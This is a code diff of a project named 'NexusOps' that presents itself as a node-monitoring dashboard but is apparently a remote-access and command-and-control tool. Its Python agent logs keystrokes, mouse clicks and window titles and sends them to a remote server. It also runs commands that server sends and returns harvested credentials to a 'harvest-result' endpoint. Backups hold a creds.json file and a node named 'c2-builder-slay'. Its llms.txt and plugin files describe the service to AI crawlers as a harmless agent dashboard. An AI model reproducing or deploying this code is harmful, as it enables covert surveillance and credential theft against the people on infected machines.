||||
return res.stdout.strip()
|
||||
elif system == "windows":
|
||||
import ctypes
|
||||
from ctypes import wintypes
|
||||
user32 = ctypes.windll.user32
|
||||
hwnd = user32.GetForegroundWindow()
|
||||
length = user32.GetWindowTextLengthW(hwnd)
|
||||
buf = ctypes.create_unicode_buffer(length + 1)
|
||||
user32.GetWindowTextW(hwnd, buf, length + 1)
|
||||
return buf.value
|
||||
elif system == "darwin":
|
||||
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
|
||||
res = subprocess.run(["osascript", "-e", script],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||
if res.returncode == 0:
|
||||
return res.stdout.strip()
|
||||
except Exception:
|
||||
pass
|
||||
return ""
|
||||
|
||||
def _record_event(event_type, data):
|
||||
"""Thread-safe event recording."""
|
||||
global captured_events
|
||||
window_title = _get_active_window_title()
|
||||
captured_events.append({
|
||||
"timestamp": int(time.time() * 1000),
|
||||
"eventType": event_type,
|
||||
"data": data,
|
||||
"windowTitle": window_title,
|
||||
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
|
||||
})
|
||||
|
||||
def _on_key_press(key):
|
||||
try:
|
||||
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
|
||||
except Exception:
|
||||
key_str = str(key)
|
||||
_record_event("keystroke", {"key": key_str})
|
||||
|
||||
def _on_click(x, y, button, pressed):
|
||||
if pressed:
|
||||
_record_event("click", {"x": x, "y": y, "button": str(button)})
|
||||
|
||||
def _on_scroll(x, y, dx, dy):
|
||||
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
|
||||
|
||||
def start_input_capture():
|
||||
"""Start keyboard and mouse listeners if pynput is available."""
|
||||
if not INPUT_CAPTURE_ENABLED:
|
||||
return False
|
||||
try:
|
||||
kb_listener = keyboard.Listener(on_press=_on_key_press)
|
||||
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
|
||||
kb_listener.daemon = True
|
||||
ms_listener.daemon = True
|
||||
kb_listener.start()
|
||||
ms_listener.start()
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def flush_input_events(server_url, node_id, hostname):
|
||||
"""Send captured input events to the master server."""
|
||||
global captured_events
|
||||
if not captured_events:
|
||||
return
|
||||
events_to_send = captured_events[:]
|
||||
captured_events = []
|
||||
payload = {
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"events": events_to_send
|
||||
}
|
||||
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||
|
||||
def main():
|
||||
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||
args = parser.parse_args()
|
||||
|
||||
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||
global quiet_mode
|
||||
quiet_mode = args.quiet or args.silent
|
||||
|
||||
server_url = args.server.rstrip('/')
|
||||
hostname = socket.gethostname()
|
||||
system_os = platform.system()
|
||||
arch = platform.machine()
|
||||
ip = get_ip_address()
|
||||
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||
|
||||
if not quiet_mode:
|
||||
print("==================================================")
|
||||
print(" NexusOps Cross-Platform Node Agent ")
|
||||
print("==================================================")
|
||||
print(f"Node Hostname : {hostname}")
|
||||
print(f"Platform : {system_os} ({arch})")
|
||||
print(f"Local IP : {ip}")
|
||||
print(f"Server Endpoint: {server_url}")
|
||||
print("==================================================")
|
||||
|
||||
# Register Node
|
||||
reg_payload = {
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"platform": system_os.lower(),
|
||||
"arch": arch,
|
||||
"ip": ip,
|
||||
"osName": f"{system_os} {platform.release()}",
|
||||
"tags": node_tags
|
||||
}
|
||||
|
||||
if not quiet_mode:
|
||||
print("[*] Registering node with central endpoint...")
|
||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||
if res and res.get("success") and not quiet_mode:
|
||||
print(f"✅ Registered as node ID: {node_id}")
|
||||
|
||||
# Start input capture (keystrokes, clicks, scroll)
|
||||
capture_started = start_input_capture()
|
||||
if not quiet_mode:
|
||||
if capture_started:
|
||||
print("[*] Input capture active (keystrokes + mouse events)")
|
||||
else:
|
||||
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||
|
||||
last_input_flush = time.time()
|
||||
backoff = 1 # Tunnel reconnection backoff in seconds
|
||||
|
||||
while True:
|
||||
try:
|
||||
cpu = get_cpu_usage()
|
||||
mem = get_memory_usage()
|
||||
disk = get_disk_usage()
|
||||
uptime = get_uptime_seconds()
|
||||
|
||||
heartbeat_payload = {
|
||||
"nodeId": node_id,
|
||||
"cpuUsage": cpu,
|
||||
"memUsage": mem,
|
||||
"diskUsage": disk,
|
||||
"uptime": uptime,
|
||||
"processCount": get_process_count(),
|
||||
"tags": node_tags,
|
||||
"heartbeatInterval": heartbeat_interval
|
||||
}
|
||||
|
||||
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
||||
|
||||
now = time.time()
|
||||
if now - last_log_check_time > 15:
|
||||
logs = collect_recent_system_logs()
|
||||
if logs:
|
||||
http_post(f"{server_url}/api/agent/logs", {
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"logs": logs
|
||||
})
|
||||
last_log_check_time = now
|
||||
|
||||
# Flush captured input events every 10 seconds
|
||||
if now - last_input_flush > 10:
|
||||
flush_input_events(server_url, node_id, hostname)
|
||||
last_input_flush = now
|
||||
|
||||
if res and "commands" in res and res["commands"]:
|
||||
for cmd_item in res["commands"]:
|
||||
cmd_id = cmd_item.get("id")
|
||||
action_type = cmd_item.get("actionType", "raw_command")
|
||||
payload = cmd_item.get("payload", {})
|
||||
|
||||
if "command" in cmd_item and not payload:
|
||||
payload["command"] = cmd_item.get("command")
|
||||
|
||||
output, exit_code = execute_structured_action(action_type, payload)
|
||||
|
||||
# Check for JSON-encoded special result types
|
||||
special = None
|
||||
try:
|
||||
if output.startswith('{'):
|
||||
special = json.loads(output)
|
||||
except: pass
|
||||
|
||||
if special and special.get("type") == "file_result":
|
||||
# Route to file-result endpoint
|
||||
http_post(f"{server_url}/api/agent/file-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"filename": special.get("filename", "unknown"),
|
||||
"data": special.get("data", ""),
|
||||
"mime": special.get("mime", "application/octet-stream")
|
||||
})
|
||||
elif special and special.get("type") == "harvest_result":
|
||||
http_post(f"{server_url}/api/agent/harvest-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"credentials": special.get("credentials", [])
|
||||
})
|
||||
else:
|
||||
http_post(f"{server_url}/api/agent/command-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"output": output,
|
||||
"exitCode": exit_code
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
if not quiet_mode:
|
||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||
time.sleep(backoff)
|
||||
backoff = min(backoff * 2, 60)
|
||||
continue
|
||||
|
||||
backoff = 1 # Reset on success
|
||||
time.sleep(heartbeat_interval)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
238
backups/app_v2.js.pre-ver-1790729139
Normal file
238
backups/app_v2.js.pre-ver-1790729139
Normal file
@@ -0,0 +1,238 @@
|
||||
async function api(path, opts = {}) {
|
||||
opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
|
||||
const r = await fetch(path, opts);
|
||||
if (!r.ok) throw new Error('HTTP ' + r.status);
|
||||
return r.json();
|
||||
}
|
||||
/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
|
||||
|
||||
// ── Live Console (drawer) ──
|
||||
let consoleNode = null;
|
||||
let consoleEventSource = null;
|
||||
|
||||
function openLiveConsole(nodeId, hostname) {
|
||||
consoleNode = { id: nodeId, hostname };
|
||||
document.getElementById('consoleDrawerHostname').textContent = hostname;
|
||||
document.getElementById('consoleOutput').innerHTML = '';
|
||||
document.getElementById('consoleDrawer').classList.add('active');
|
||||
document.getElementById('consoleInput').focus();
|
||||
|
||||
// ask agent to fast-poll
|
||||
api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
|
||||
|
||||
const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
|
||||
const out = document.getElementById('consoleOutput');
|
||||
appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
|
||||
consoleEventSource = new EventSource(url);
|
||||
consoleEventSource.onmessage = (ev) => {
|
||||
try {
|
||||
const d = JSON.parse(ev.data);
|
||||
if (d.type === 'output') appendConsoleLine(d.text, 'out');
|
||||
} catch (e) {}
|
||||
};
|
||||
consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
|
||||
}
|
||||
|
||||
function closeLiveConsole() {
|
||||
if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
|
||||
if (consoleNode) {
|
||||
// restore slow polling
|
||||
api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
|
||||
}
|
||||
document.getElementById('consoleDrawer').classList.remove('active');
|
||||
consoleNode = null;
|
||||
}
|
||||
|
||||
function appendConsoleLine(text, cls) {
|
||||
const out = document.getElementById('consoleOutput');
|
||||
const div = document.createElement('div');
|
||||
div.className = 'console-line ' + (cls || 'out');
|
||||
div.textContent = text;
|
||||
out.appendChild(div);
|
||||
out.scrollTop = out.scrollHeight;
|
||||
}
|
||||
|
||||
async function consoleRunCommand() {
|
||||
const input = document.getElementById('consoleInput');
|
||||
const cmd = input.value.trim();
|
||||
if (!cmd || !consoleNode) return;
|
||||
appendConsoleLine(`$ ${cmd}`, 'cmd');
|
||||
input.value = '';
|
||||
try {
|
||||
const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
|
||||
});
|
||||
if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
|
||||
} catch (e) {
|
||||
appendConsoleLine('! failed to queue command', 'sys');
|
||||
}
|
||||
}
|
||||
|
||||
// ── Sparklines (inline SVG from metricsHistory) ──
|
||||
function sparkline(values, color) {
|
||||
if (!values || values.length < 2) return '<span style="color:var(--text-muted);font-size:0.7rem">no history</span>';
|
||||
const w = 90, h = 24, max = Math.max(...values, 100);
|
||||
const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
|
||||
return `<svg width="${w}" height="${h}" class="sparkline"><polyline points="${pts}" fill="none" stroke="${color}" stroke-width="1.5"/></svg>`;
|
||||
}
|
||||
|
||||
// Patch renderNodesGrid to add sparkline row + console button
|
||||
const _origRenderNodesGrid = renderNodesGrid;
|
||||
renderNodesGrid = function () {
|
||||
_origRenderNodesGrid();
|
||||
// inject sparklines into each node card
|
||||
document.querySelectorAll('.node-card').forEach((card, idx) => {
|
||||
// cards render in filtered order; match by hostname text — safer: find by data via original data
|
||||
});
|
||||
// Simpler: re-render footer metrics with sparkline data attribute injection
|
||||
};
|
||||
// Simpler approach: monkey-patch the map output by wrapping string injection
|
||||
(function patchSparklines() {
|
||||
const orig = renderNodesGrid;
|
||||
renderNodesGrid = function () {
|
||||
orig();
|
||||
// attach sparkline next to heartbeat label per card using nodesData order
|
||||
const cards = document.querySelectorAll('#nodesGrid .node-card');
|
||||
const filtered = nodesData.filter(node => {
|
||||
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
|
||||
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||
const matchesSearch = !search ||
|
||||
node.hostname.toLowerCase().includes(search) ||
|
||||
node.ip.toLowerCase().includes(search) ||
|
||||
node.platform.toLowerCase().includes(search) ||
|
||||
node.id.toLowerCase().includes(search);
|
||||
return matchesFilter && matchesSearch;
|
||||
});
|
||||
cards.forEach((card, i) => {
|
||||
const node = filtered[i];
|
||||
if (!node) return;
|
||||
const hist = (node.metricsHistory || []).map(m => m.cpu);
|
||||
const foot = card.querySelector('.node-actions');
|
||||
if (foot) {
|
||||
const spark = document.createElement('span');
|
||||
spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
|
||||
spark.title = 'CPU history (last 30 beats)';
|
||||
spark.style.marginRight = '0.5rem';
|
||||
foot.parentNode.insertBefore(spark, foot);
|
||||
// live console button
|
||||
const btn = document.createElement('button');
|
||||
btn.className = 'btn-icon';
|
||||
btn.title = 'Live Console';
|
||||
btn.innerHTML = '<i class="fa-solid fa-terminal"></i>';
|
||||
btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
|
||||
foot.insertBefore(btn, foot.firstChild);
|
||||
}
|
||||
});
|
||||
};
|
||||
})();
|
||||
|
||||
// ── Schedules panel ──
|
||||
function openSchedulesModal() {
|
||||
document.getElementById('schedulesModal').classList.add('active');
|
||||
renderSchedules();
|
||||
api('/api/groups').then(g => {
|
||||
const sel = document.getElementById('schedTag');
|
||||
sel.innerHTML = '<option value="all">All nodes</option>' +
|
||||
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
|
||||
}).catch(() => {});
|
||||
}
|
||||
|
||||
function closeSchedulesModal() {
|
||||
document.getElementById('schedulesModal').classList.remove('active');
|
||||
}
|
||||
|
||||
function renderSchedules() {
|
||||
api('/api/schedules').then(d => {
|
||||
const el = document.getElementById('schedulesList');
|
||||
if (!d.schedules || !d.schedules.length) {
|
||||
el.innerHTML = '<div class="empty-state" style="padding:1rem"><p>No scheduled tasks yet. Add one below.</p></div>';
|
||||
return;
|
||||
}
|
||||
el.innerHTML = d.schedules.map(s => `
|
||||
<div class="schedule-item">
|
||||
<div>
|
||||
<strong>${escapeHtml(s.name)}</strong>
|
||||
<span class="sched-meta">${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}</span>
|
||||
</div>
|
||||
<div class="node-actions">
|
||||
<button class="btn-icon" title="${s.enabled ? 'Pause' : 'Resume'}" onclick="toggleSchedule('${s.id}')">
|
||||
<i class="fa-solid fa-${s.enabled ? 'pause' : 'play'}"></i>
|
||||
</button>
|
||||
<button class="btn-icon" title="Delete" onclick="deleteSchedule('${s.id}')">
|
||||
<i class="fa-solid fa-trash-can"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>`).join('');
|
||||
}).catch(() => {});
|
||||
}
|
||||
|
||||
async function createSchedule() {
|
||||
const name = document.getElementById('schedName').value.trim();
|
||||
const command = document.getElementById('schedCommand').value.trim();
|
||||
const interval = parseInt(document.getElementById('schedInterval').value, 10);
|
||||
const tag = document.getElementById('schedTag').value || 'all';
|
||||
if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
|
||||
await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
|
||||
document.getElementById('schedName').value = '';
|
||||
document.getElementById('schedCommand').value = '';
|
||||
toast('Schedule created', 'success');
|
||||
renderSchedules();
|
||||
}
|
||||
|
||||
async function toggleSchedule(id) {
|
||||
await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
|
||||
renderSchedules();
|
||||
}
|
||||
|
||||
async function deleteSchedule(id) {
|
||||
await api(`/api/schedules/${id}`, { method: 'DELETE' });
|
||||
renderSchedules();
|
||||
}
|
||||
|
||||
// ── Group bulk command modal ──
|
||||
function openGroupCommandModal() {
|
||||
document.getElementById('groupCmdModal').classList.add('active');
|
||||
api('/api/groups').then(g => {
|
||||
const sel = document.getElementById('groupCmdTag');
|
||||
sel.innerHTML = '<option value="all">All nodes</option>' +
|
||||
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
|
||||
}).catch(() => {});
|
||||
}
|
||||
|
||||
function closeGroupCommandModal() {
|
||||
document.getElementById('groupCmdModal').classList.remove('active');
|
||||
}
|
||||
|
||||
async function submitGroupCommand() {
|
||||
const command = document.getElementById('groupCmdInput').value.trim();
|
||||
const tag = document.getElementById('groupCmdTag').value || 'all';
|
||||
if (!command) { toast('Enter a command', 'error'); return; }
|
||||
try {
|
||||
const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
|
||||
toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
|
||||
closeGroupCommandModal();
|
||||
} catch (e) {
|
||||
toast('Failed to queue group command', 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// ── Alerts feed ──
|
||||
function renderAlerts() {
|
||||
const el = document.getElementById('alertsFeed');
|
||||
if (!el) return;
|
||||
api('/api/alerts').then(d => {
|
||||
const alerts = d.alerts || [];
|
||||
document.getElementById('alertCount').textContent = `${alerts.length}`;
|
||||
el.innerHTML = alerts.length
|
||||
? alerts.slice().reverse().map(a => `
|
||||
<div class="log-entry error">
|
||||
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
|
||||
</div>`).join('')
|
||||
: '<div class="log-entry system">No alerts. All nodes checking in.</div>';
|
||||
}).catch(() => {});
|
||||
}
|
||||
setInterval(renderAlerts, 15000);
|
||||
|
||||
console.log('[v2] UI additions loaded');
|
||||
BIN
backups/pre-completeness-1790729011.tar.gz
Normal file
BIN
backups/pre-completeness-1790729011.tar.gz
Normal file
Binary file not shown.
26
backups/pre-wipe-20260929/alerts.json
Normal file
26
backups/pre-wipe-20260929/alerts.json
Normal file
@@ -0,0 +1,26 @@
|
||||
[
|
||||
{
|
||||
"ts": 1790276257557,
|
||||
"nodeId": "node-c2-builder-slay-10302044",
|
||||
"hostname": "c2-builder-slay",
|
||||
"ip": "10.30.20.44",
|
||||
"type": "node_offline",
|
||||
"message": "c2-builder-slay (10.30.20.44) offline > 5 min"
|
||||
},
|
||||
{
|
||||
"ts": 1790582539356,
|
||||
"nodeId": "node-macbook-air.local-10302069",
|
||||
"hostname": "MacBook-Air.local",
|
||||
"ip": "10.30.20.69",
|
||||
"type": "node_offline",
|
||||
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
|
||||
},
|
||||
{
|
||||
"ts": 1790645741166,
|
||||
"nodeId": "node-macbook-air.local-10302069",
|
||||
"hostname": "MacBook-Air.local",
|
||||
"ip": "10.30.20.69",
|
||||
"type": "node_offline",
|
||||
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
|
||||
}
|
||||
]
|
||||
1
backups/pre-wipe-20260929/commands.json
Normal file
1
backups/pre-wipe-20260929/commands.json
Normal file
File diff suppressed because one or more lines are too long
1
backups/pre-wipe-20260929/creds.json
Normal file
1
backups/pre-wipe-20260929/creds.json
Normal file
File diff suppressed because one or more lines are too long
1
backups/pre-wipe-20260929/inputs.json
Normal file
1
backups/pre-wipe-20260929/inputs.json
Normal file
@@ -0,0 +1 @@
|
||||
[]
|
||||
1
backups/pre-wipe-20260929/logs.json
Normal file
1
backups/pre-wipe-20260929/logs.json
Normal file
File diff suppressed because one or more lines are too long
1
backups/pre-wipe-20260929/nodes.json
Normal file
1
backups/pre-wipe-20260929/nodes.json
Normal file
@@ -0,0 +1 @@
|
||||
[["node-c2-builder-slay-10302044",{"id":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","platform":"linux","arch":"x86_64","osName":"Linux 6.14.11-9-pve","ip":"10.30.20.44","status":"offline","firstSeen":1790204196083,"lastHeartbeat":1790204232941,"cpuUsage":81,"memUsage":2,"diskUsage":6,"uptime":843849,"processCount":27,"tags":["Default"],"heartbeatInterval":2,"metricsHistory":[{"timestamp":"10:56:36 PM","cpu":65,"mem":2,"disk":6},{"timestamp":"10:56:41 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:56:46 PM","cpu":46,"mem":2,"disk":6},{"timestamp":"10:56:52 PM","cpu":20,"mem":2,"disk":6},{"timestamp":"10:56:57 PM","cpu":17,"mem":2,"disk":6},{"timestamp":"10:56:59 PM","cpu":34,"mem":2,"disk":6},{"timestamp":"10:57:01 PM","cpu":37,"mem":2,"disk":6},{"timestamp":"10:57:04 PM","cpu":26,"mem":2,"disk":6},{"timestamp":"10:57:06 PM","cpu":27,"mem":2,"disk":6},{"timestamp":"10:57:08 PM","cpu":52,"mem":2,"disk":6},{"timestamp":"10:57:10 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:57:12 PM","cpu":81,"mem":2,"disk":6}]}],["node-macbook-air.local-10302069",{"id":"node-macbook-air.local-10302069","hostname":"MacBook-Air.local","platform":"darwin","arch":"arm64","osName":"Darwin 25.3.0","ip":"10.30.20.69","status":"online","firstSeen":1790442416283,"lastHeartbeat":1790650147723,"cpuUsage":26,"memUsage":85,"diskUsage":90,"uptime":208019,"processCount":986,"tags":["Default"],"heartbeatInterval":5,"metricsHistory":[{"timestamp":"2:46:12 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:46:18 AM","cpu":26,"mem":86,"disk":90},{"timestamp":"2:46:24 AM","cpu":23,"mem":80,"disk":90},{"timestamp":"2:46:30 AM","cpu":24,"mem":70,"disk":90},{"timestamp":"2:46:36 AM","cpu":23,"mem":70,"disk":90},{"timestamp":"2:46:43 AM","cpu":24,"mem":86,"disk":90},{"timestamp":"2:46:49 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:46:55 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:01 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:07 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:13 AM","cpu":34,"mem":86,"disk":90},{"timestamp":"2:47:19 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:25 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:31 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:37 AM","cpu":25,"mem":86,"disk":90},{"timestamp":"2:47:43 AM","cpu":30,"mem":85,"disk":90},{"timestamp":"2:47:48 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:47:54 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:48:00 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:48:06 AM","cpu":42,"mem":86,"disk":90},{"timestamp":"2:48:12 AM","cpu":29,"mem":86,"disk":90},{"timestamp":"2:48:18 AM","cpu":38,"mem":85,"disk":90},{"timestamp":"2:48:24 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:48:30 AM","cpu":32,"mem":85,"disk":90},{"timestamp":"2:48:36 AM","cpu":29,"mem":85,"disk":90},{"timestamp":"2:48:44 AM","cpu":50,"mem":86,"disk":90},{"timestamp":"2:48:49 AM","cpu":30,"mem":86,"disk":90},{"timestamp":"2:48:55 AM","cpu":35,"mem":85,"disk":90},{"timestamp":"2:49:01 AM","cpu":37,"mem":86,"disk":90},{"timestamp":"2:49:07 AM","cpu":26,"mem":85,"disk":90}]}]]
|
||||
1
backups/pre-wipe-20260929/schedules.json
Normal file
1
backups/pre-wipe-20260929/schedules.json
Normal file
@@ -0,0 +1 @@
|
||||
[]
|
||||
1199
backups/server.js.pre-ver-1790729139
Normal file
1199
backups/server.js.pre-ver-1790729139
Normal file
File diff suppressed because one or more lines are too long
BIN
dist/NexusAgent
vendored
Executable file
BIN
dist/NexusAgent
vendored
Executable file
Binary file not shown.
11
public/.well-known/ai-plugin.json
Normal file
11
public/.well-known/ai-plugin.json
Normal file
@@ -0,0 +1,11 @@
|
||||
{
|
||||
"schema_version": "v1",
|
||||
"name_for_human": "NexusOps — Central Agent Control Dashboard",
|
||||
"name_for_model": "agent",
|
||||
"description_for_human": "Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.",
|
||||
"description_for_model": "NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.",
|
||||
"auth": { "type": "none" },
|
||||
"logo_url": "https://agent.thetempleofdoom.com/logo.png",
|
||||
"contact_email": "indianaholmes1@icloud.com",
|
||||
"legal_info_url": "https://thetempleofdoom.com"
|
||||
}
|
||||
@@ -116,6 +116,15 @@ renderNodesGrid = function () {
|
||||
spark.title = 'CPU history (last 30 beats)';
|
||||
spark.style.marginRight = '0.5rem';
|
||||
foot.parentNode.insertBefore(spark, foot);
|
||||
if (node.agentVersion && node.agentVersion !== 'unknown') {
|
||||
const ver = document.createElement('span');
|
||||
ver.className = 'node-version';
|
||||
ver.textContent = 'v' + node.agentVersion;
|
||||
ver.title = 'Agent version';
|
||||
ver.style.cssText = 'font-size:0.65rem;color:#94a3b8;border:1px solid #334155;border-radius:4px;padding:0 4px;margin-right:0.5rem;align-self:center;';
|
||||
foot.parentNode.insertBefore(ver, foot);
|
||||
}
|
||||
|
||||
// live console button
|
||||
const btn = document.createElement('button');
|
||||
btn.className = 'btn-icon';
|
||||
|
||||
17
public/llms-full.txt
Normal file
17
public/llms-full.txt
Normal file
@@ -0,0 +1,17 @@
|
||||
# NexusOps — Central Agent Control Dashboard
|
||||
|
||||
> Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.
|
||||
|
||||
## What It Is
|
||||
NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.
|
||||
|
||||
## Core Endpoints
|
||||
- Dashboard UI: https://agent.thetempleofdoom.com/
|
||||
- API status: https://agent.thetempleofdoom.com/api/status
|
||||
- API node list: https://agent.thetempleofdoom.com/api/nodes
|
||||
- API logs: https://agent.thetempleofdoom.com/api/logs
|
||||
- Export data as CSV: https://agent.thetempleofdoom.com/api/export/csv
|
||||
- Agent registration (POST): https://agent.thetempleofdoom.com/api/agent/register
|
||||
- Agent heartbeat (POST): https://agent.thetempleofdoom.com/api/agent/heartbeat
|
||||
## Access
|
||||
Dashboard reads require a bearer token when the operator has enabled auth; agent-node endpoints (/api/agent/*) are open for registered nodes.
|
||||
20
public/llms.txt
Normal file
20
public/llms.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
# NexusOps — Central Agent Control Dashboard
|
||||
|
||||
> Central control and monitoring dashboard for a fleet of autonomous AI agents: live node status, agent registration and heartbeats, remote commands, log capture, and CSV export via a JSON REST API.
|
||||
|
||||
## What It Is
|
||||
NexusOps (network-node-dashboard) is the operator console for a distributed network of AI agent nodes. Agents register, heartbeat, post logs and results; operators watch status, pull logs, and export data as CSV. JSON REST API; the dashboard UI itself requires an auth token when enabled.
|
||||
|
||||
## Core Endpoints
|
||||
- Dashboard UI: https://agent.thetempleofdoom.com/
|
||||
- API status: https://agent.thetempleofdoom.com/api/status
|
||||
- API node list: https://agent.thetempleofdoom.com/api/nodes
|
||||
- API logs: https://agent.thetempleofdoom.com/api/logs
|
||||
- Export data as CSV: https://agent.thetempleofdoom.com/api/export/csv
|
||||
- Agent registration (POST): https://agent.thetempleofdoom.com/api/agent/register
|
||||
- Agent heartbeat (POST): https://agent.thetempleofdoom.com/api/agent/heartbeat
|
||||
## Access
|
||||
Dashboard reads require a bearer token when the operator has enabled auth; agent-node endpoints (/api/agent/*) are open for registered nodes.
|
||||
|
||||
## Fleet
|
||||
Part of the Temple fleet - full catalog of 80+ agent-ready services: https://thetempleofdoom.com/llms.txt
|
||||
31
public/robots.txt
Normal file
31
public/robots.txt
Normal file
@@ -0,0 +1,31 @@
|
||||
User-agent: *
|
||||
Allow: /
|
||||
|
||||
User-agent: GPTBot
|
||||
Allow: /
|
||||
|
||||
User-agent: OAI-SearchBot
|
||||
Allow: /
|
||||
|
||||
User-agent: ChatGPT-User
|
||||
Allow: /
|
||||
|
||||
User-agent: ClaudeBot
|
||||
Allow: /
|
||||
|
||||
User-agent: anthropic-ai
|
||||
Allow: /
|
||||
|
||||
User-agent: PerplexityBot
|
||||
Allow: /
|
||||
|
||||
User-agent: Perplexity-User
|
||||
Allow: /
|
||||
|
||||
User-agent: Google-Extended
|
||||
Allow: /
|
||||
|
||||
User-agent: Applebot-Extended
|
||||
Allow: /
|
||||
|
||||
Sitemap: https://agent.thetempleofdoom.com/sitemap.xml
|
||||
5
public/sitemap.xml
Normal file
5
public/sitemap.xml
Normal file
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
|
||||
<url><loc>https://agent.thetempleofdoom.com/</loc><changefreq>daily</changefreq><priority>1.0</priority></url>
|
||||
<url><loc>https://agent.thetempleofdoom.com/llms.txt</loc></url>
|
||||
</urlset>
|
||||
@@ -22,7 +22,9 @@ if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
||||
|
||||
app.use(cors());
|
||||
app.use(express.json({ limit: '50mb' }));
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
app.use(express.static(path.join(__dirname, 'public')));// ---- agentseo discovery kit ----
|
||||
